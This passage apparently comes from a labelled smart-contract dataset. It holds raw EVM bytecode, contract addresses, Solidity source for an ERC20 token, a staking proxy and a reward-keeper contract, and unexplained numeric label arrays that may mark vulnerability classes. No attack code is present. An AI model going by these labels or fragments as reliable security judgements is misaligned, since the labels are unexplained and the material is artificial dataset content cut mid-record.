0fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820abee8a0649303d8878880e4d7503e0fef94e757f0dd4df37ea2d3d8d0a0701280029
[ 16, 7 ]
0xf1badc61da12b94f9a985853e707a82707bf8080
/** *Submitted for verification at Etherscan.io on 2018-12-07 */ pragma solidity ^0.4.18; // ---------------------------------------------------------------------------------------------- // MMTcoin by MMT Limited. // An ERC20 standard // // author: MMTcoin Team contract ERC20Interface { function totalSupply() public constant returns (uint256 _totalSupply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract MMT is ERC20Interface { uint256 public constant decimals = 8; string public constant symbol = "MMT"; string public constant name = "MMTcoin"; uint256 public _totalSupply = 10 ** 16; // total supply is 10^16 unit, equivalent to 10^8 MMT // Owner of this contract address public owner; // Balances MMT for each account mapping(address => uint256) private balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) private allowed; // List of approved investors mapping(address => bool) private approvedInvestorList; // deposit mapping(address => uint256) private deposit; // totalTokenSold uint256 public totalTokenSold = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } /// @dev Constructor function MMT() public { owner = msg.sender; balances[owner] = _totalSupply; } /// @dev Gets totalSupply /// @return Total supply function totalSupply() public constant returns (uint256) { return _totalSupply; } /// @dev Gets account's balance /// @param _addr Address of the account /// @return Account balance function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr]; } /// @dev check address is approved investor /// @param _addr address function isApprovedInvestor(address _addr) public constant returns (bool) { return approvedInvestorList[_addr]; } /// @dev get ETH deposit /// @param _addr address get deposit /// @return amount deposit of an buyer function getDeposit(address _addr) public constant returns(uint256){ return deposit[_addr]; } /// @dev Transfers the balance from msg.sender to an account /// @param _to Recipient address /// @param _amount Transfered amount in unit /// @return Transfer status function transfer(address _to, uint256 _amount) public returns (bool) { // if sender's balance has enough unit and amount >= 0, // and the sum is not overflow, // then do transfer if ( (balances[msg.sender] >= _amount) && (_amount >= 0) && (balances[_to] + _amount > balances[_to]) ) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { if (balances[_from] >= _amount && _amount > 0 && allowed[_from][msg.sender] >= _amount) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public returns (bool success) { require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // get allowance function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function () public payable{ revert(); } }
0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016357806318160ddd146101bd57806323b872dd146101e6578063313ce5671461025f5780633eaaf86b1461028857806370a08231146102b15780638da5cb5b146102fe57806395d89b41146103535780639b1fe0d4146103e1578063a9059cbb14610432578063b5f7f6361461048c578063dd62ed3e146104b5578063e1254fba14610521575b600080fd5b34156100e057600080fd5b6100e861056e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012857808201518184015260208101905061010d565b50505050905090810190601f1680156101555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016e57600080fd5b6101a3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105a7565b604051808215151515815260200191505060405180910390f35b34156101c857600080fd5b6101d061072e565b6040518082815260200191505060405180910390f35b34156101f157600080fd5b610245600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610737565b604051808215151515815260200191505060405180910390f35b341561026a57600080fd5b6102726109b3565b6040518082815260200191505060405180910390f35b341561029357600080fd5b61029b6109b8565b6040518082815260200191505060405180910390f35b34156102bc57600080fd5b6102e8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109be565b6040518082815260200191505060405180910390f35b341561030957600080fd5b610311610a07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561035e57600080fd5b610366610a2d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610418600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a66565b604051808215151515815260200191505060405180910390f35b341561043d57600080fd5b610472600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610abc565b604051808215151515815260200191505060405180910390f35b341561049757600080fd5b61049f610cb1565b6040518082815260200191505060405180910390f35b34156104c057600080fd5b61050b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cb7565b6040518082815260200191505060405180910390f35b341561052c57600080fd5b610558600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d3e565b6040518082815260200191505060405180910390f35b6040805190810160405280600781526020017f4d4d54636f696e0000000000000000000000000000000000000000000000000081525081565b60008082148061063357506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561063e57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008054905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107885750600082115b8015610810575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156109a75781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506109ac565b600090505b9392505050565b600881565b60005481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4d4d54000000000000000000000000000000000000000000000000000000000081525081565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b0e575060008210155b8015610b995750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15610ca65781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cab565b600090505b92915050565b60065481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509190505600a165627a7a72305820bd0614a54a09937e6a90fe976bddba9a68747a770cb33c84652a27672805a1930029
[ 0, 19, 2 ]
0xF1bB87563A122211d40d393eBf1c633c330377F9
// SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; import {ProxyUpgradeableOwnable} from "../ProxyUpgradeableOwnable.sol"; import {ERC20MetadataStorage} from "@solidstate/contracts/token/ERC20/metadata/ERC20MetadataStorage.sol"; import {PremiaStakingStorage} from "./PremiaStakingStorage.sol"; contract PremiaStakingProxy is ProxyUpgradeableOwnable { using ERC20MetadataStorage for ERC20MetadataStorage.Layout; constructor(address implementation) ProxyUpgradeableOwnable(implementation) { ERC20MetadataStorage.Layout storage l = ERC20MetadataStorage.layout(); l.setName("Staked Premia"); l.setSymbol("xPREMIA"); l.setDecimals(18); PremiaStakingStorage.layout().withdrawalDelay = 10 days; } } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; import {Proxy} from "@solidstate/contracts/proxy/Proxy.sol"; import {SafeOwnable, OwnableStorage} from "@solidstate/contracts/access/SafeOwnable.sol"; import {ProxyUpgradeableOwnableStorage} from "./ProxyUpgradeableOwnableStorage.sol"; contract ProxyUpgradeableOwnable is Proxy, SafeOwnable { using ProxyUpgradeableOwnableStorage for ProxyUpgradeableOwnableStorage.Layout; using OwnableStorage for OwnableStorage.Layout; constructor(address implementation) { OwnableStorage.layout().setOwner(msg.sender); ProxyUpgradeableOwnableStorage.layout().implementation = implementation; } receive() external payable {} /** * @inheritdoc Proxy */ function _getImplementation() internal view override returns (address) { return ProxyUpgradeableOwnableStorage.layout().implementation; } /** * @notice get address of implementation contract * @return implementation address */ function getImplementation() external view returns (address) { return _getImplementation(); } /** * @notice set address of implementation contract * @param implementation address of the new implementation */ function setImplementation(address implementation) external onlyOwner { ProxyUpgradeableOwnableStorage.layout().implementation = implementation; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library ERC20MetadataStorage { struct Layout { string name; string symbol; uint8 decimals; } bytes32 internal constant STORAGE_SLOT = keccak256('solidstate.contracts.storage.ERC20Metadata'); function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } function setName(Layout storage l, string memory name) internal { l.name = name; } function setSymbol(Layout storage l, string memory symbol) internal { l.symbol = symbol; } function setDecimals(Layout storage l, uint8 decimals) internal { l.decimals = decimals; } } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; library PremiaStakingStorage { bytes32 internal constant STORAGE_SLOT = keccak256("premia.contracts.staking.PremiaStaking"); struct Withdrawal { uint256 amount; // Premia amount uint256 startDate; // Will unlock at startDate + withdrawalDelay } struct Layout { uint256 pendingWithdrawal; uint256 withdrawalDelay; mapping(address => Withdrawal) withdrawals; } function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { AddressUtils } from '../utils/AddressUtils.sol'; /** * @title Base proxy contract */ abstract contract Proxy { using AddressUtils for address; /** * @notice delegate all calls to implementation contract * @dev reverts if implementation address contains no code, for compatibility with metamorphic contracts * @dev memory location in use by assembly may be unsafe in other contexts */ fallback() external payable virtual { address implementation = _getImplementation(); require( implementation.isContract(), 'Proxy: implementation must be contract' ); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall( gas(), implementation, 0, calldatasize(), 0, 0 ) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @notice get logic implementation address * @return implementation address */ function _getImplementation() internal virtual returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { Ownable, OwnableStorage } from './Ownable.sol'; import { SafeOwnableInternal } from './SafeOwnableInternal.sol'; import { SafeOwnableStorage } from './SafeOwnableStorage.sol'; /** * @title Ownership access control based on ERC173 with ownership transfer safety check */ abstract contract SafeOwnable is Ownable, SafeOwnableInternal { using OwnableStorage for OwnableStorage.Layout; using SafeOwnableStorage for SafeOwnableStorage.Layout; function nomineeOwner() public view virtual returns (address) { return SafeOwnableStorage.layout().nomineeOwner; } /** * @inheritdoc Ownable * @dev ownership transfer must be accepted by beneficiary before transfer is complete */ function transferOwnership(address account) public virtual override onlyOwner { SafeOwnableStorage.layout().setNomineeOwner(account); } /** * @notice accept transfer of contract ownership */ function acceptOwnership() public virtual onlyNomineeOwner { OwnableStorage.Layout storage l = OwnableStorage.layout(); emit OwnershipTransferred(l.owner, msg.sender); l.setOwner(msg.sender); SafeOwnableStorage.layout().setNomineeOwner(address(0)); } } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; library ProxyUpgradeableOwnableStorage { bytes32 internal constant STORAGE_SLOT = keccak256("premia.contracts.storage.ProxyUpgradeableOwnable"); struct Layout { address implementation; } function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library AddressUtils { function toString(address account) internal pure returns (string memory) { bytes32 value = bytes32(uint256(uint160(account))); bytes memory alphabet = '0123456789abcdef'; bytes memory chars = new bytes(42); chars[0] = '0'; chars[1] = 'x'; for (uint256 i = 0; i < 20; i++) { chars[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)]; chars[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)]; } return string(chars); } function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable account, uint256 amount) internal { (bool success, ) = account.call{ value: amount }(''); require(success, 'AddressUtils: failed to send value'); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'AddressUtils: failed low-level call'); } function functionCall( address target, bytes memory data, string memory error ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, error); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, 'AddressUtils: failed low-level call with value' ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory error ) internal returns (bytes memory) { require( address(this).balance >= value, 'AddressUtils: insufficient balance for call' ); return _functionCallWithValue(target, data, value, error); } function _functionCallWithValue( address target, bytes memory data, uint256 value, string memory error ) private returns (bytes memory) { require( isContract(target), 'AddressUtils: function call to non-contract' ); (bool success, bytes memory returnData) = target.call{ value: value }( data ); if (success) { return returnData; } else if (returnData.length > 0) { assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } else { revert(error); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IERC173 } from './IERC173.sol'; import { OwnableInternal } from './OwnableInternal.sol'; import { OwnableStorage } from './OwnableStorage.sol'; /** * @title Ownership access control based on ERC173 */ abstract contract Ownable is IERC173, OwnableInternal { using OwnableStorage for OwnableStorage.Layout; /** * @inheritdoc IERC173 */ function owner() public view virtual override returns (address) { return OwnableStorage.layout().owner; } /** * @inheritdoc IERC173 */ function transferOwnership(address account) public virtual override onlyOwner { OwnableStorage.layout().setOwner(account); emit OwnershipTransferred(msg.sender, account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { SafeOwnableStorage } from './SafeOwnableStorage.sol'; abstract contract SafeOwnableInternal { using SafeOwnableStorage for SafeOwnableStorage.Layout; modifier onlyNomineeOwner() { require( msg.sender == SafeOwnableStorage.layout().nomineeOwner, 'SafeOwnable: sender must be nominee owner' ); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeOwnableStorage { struct Layout { address nomineeOwner; } bytes32 internal constant STORAGE_SLOT = keccak256('solidstate.contracts.storage.SafeOwnable'); function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } function setNomineeOwner(Layout storage l, address nomineeOwner) internal { l.nomineeOwner = nomineeOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Contract ownership standard interface * @dev see https://eips.ethereum.org/EIPS/eip-173 */ interface IERC173 { event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @notice get the ERC173 contract owner * @return conract owner */ function owner() external view returns (address); /** * @notice transfer contract ownership to new account * @param account address of new owner */ function transferOwnership(address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { OwnableStorage } from './OwnableStorage.sol'; abstract contract OwnableInternal { using OwnableStorage for OwnableStorage.Layout; modifier onlyOwner() { require( msg.sender == OwnableStorage.layout().owner, 'Ownable: sender must be owner' ); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library OwnableStorage { struct Layout { address owner; } bytes32 internal constant STORAGE_SLOT = keccak256('solidstate.contracts.storage.Ownable'); function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } function setOwner(Layout storage l, address owner) internal { l.owner = owner; } }
0x6080604052600436106100595760003560e01c806379ba5097146100fb5780638ab5150a146101125780638da5cb5b14610143578063aaf10f4214610158578063d784d4261461016d578063f2fde38b1461018d57610060565b3661006057005b600061006a6101ad565b90506001600160a01b0381163b6100d75760405162461bcd60e51b815260206004820152602660248201527f50726f78793a20696d706c656d656e746174696f6e206d75737420626520636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b3660008037600080366000845af43d6000803e8080156100f6573d6000f35b3d6000fd5b34801561010757600080fd5b506101106101c6565b005b34801561011e57600080fd5b506101276102ad565b6040516001600160a01b03909116815260200160405180910390f35b34801561014f57600080fd5b506101276102c3565b34801561016457600080fd5b506101276102cd565b34801561017957600080fd5b50610110610188366004610569565b6102dc565b34801561019957600080fd5b506101106101a8366004610569565b610366565b60006101b761041f565b546001600160a01b0316919050565b6000805160206105d5833981519152546001600160a01b0316331461023f5760405162461bcd60e51b815260206004820152602960248201527f536166654f776e61626c653a2073656e646572206d757374206265206e6f6d696044820152683732b29037bbb732b960b91b60648201526084016100ce565b60006102496103de565b805460405191925033916001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a361028f8133610402565b6102aa60006000805160206105d58339815191525b90610402565b50565b60006000805160206105d58339815191526101b7565b60006101b76103de565b60006102d76101ad565b905090565b6102e46103de565b546001600160a01b0316331461033c5760405162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2073656e646572206d757374206265206f776e657200000060448201526064016100ce565b8061034561041f565b80546001600160a01b0319166001600160a01b039290921691909117905550565b61036e6103de565b546001600160a01b031633146103c65760405162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2073656e646572206d757374206265206f776e657200000060448201526064016100ce565b6102aa816000805160206105d58339815191526102a4565b7f8a22373512790c48b83a1fe2efdd2888d4a917bcdc24d0adf63e60f67168046090565b81546001600160a01b0319166001600160a01b0391909116179055565b7fec1bacb76164b9264bf407e47c681dddfa298268d816c359f3290c1efbd02ab290565b7f2967a798b92539a1b9eefe4d8eb931f96b68d27665e276f1bee2d5db7f74304790565b805161047990839060208401906104d0565b505050565b805161047990600184019060208401906104d0565b600291909101805460ff191660ff909216919091179055565b7f93fc9d7292a51a532b02476d8b2b9af907a368e01a95aad9b65afa72ad771d5d90565b8280546104dc90610599565b90600052602060002090601f0160209004810192826104fe5760008555610544565b82601f1061051757805160ff1916838001178555610544565b82800160010185558215610544579182015b82811115610544578251825591602001919060010190610529565b50610550929150610554565b5090565b5b808211156105505760008155600101610555565b60006020828403121561057b57600080fd5b81356001600160a01b038116811461059257600080fd5b9392505050565b600181811c908216806105ad57607f821691505b602082108114156105ce57634e487b7160e01b600052602260045260246000fd5b5091905056fe24aa1f7b31fd188a8d3ecfb06bc55c806040e59b03bd4396283442fce6617890a264697066735822122062711c1b80f36e869dfb94bf5ef3f420e04472e122d325477618b1f922a2e38164736f6c63430008090033
[ 2 ]
0xF1Bbfc59105b449c461b64b15D68C77eBD04F937
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract RewardKeeper is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; mapping(address => bool) private _actionAddresses; event AddToActionList(address indexed actionAddress); event RemoveFromActionList(address indexed actionAddress); event RewardSent(address erc20TokenAddress, address indexed recipient, uint256 amount, address indexed actionAddress); constructor () {} function isActionAddress(address actionAddress_) external view returns (bool) { return _actionAddresses[actionAddress_]; } function sendReward(address erc20TokenAddress_, address recipient_, uint256 amount_) external nonReentrant returns (bool) { require(_actionAddresses[_msgSender()], "RewardKeeper: msgSender has no permissions"); IERC20 erc20Token = IERC20(erc20TokenAddress_); erc20Token.safeTransfer(recipient_, amount_); emit RewardSent(erc20TokenAddress_, recipient_, amount_, _msgSender()); return true; } function addToActionList(address actionAddress_) external onlyOwner { _actionAddresses[actionAddress_] = true; emit AddToActionList(actionAddress_); } function removeFromActionList(address actionAddress_) external onlyOwner { _actionAddresses[actionAddress_] = false; emit RemoveFromActionList(actionAddress_); } function withdrawAnyErc20(address erc20TokenAddress_, address recipient_, uint256 amount_) external nonReentrant onlyOwner returns (bool) { IERC20 erc20Token = IERC20(erc20TokenAddress_); erc20Token.safeTransfer(recipient_, amount_); return true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an 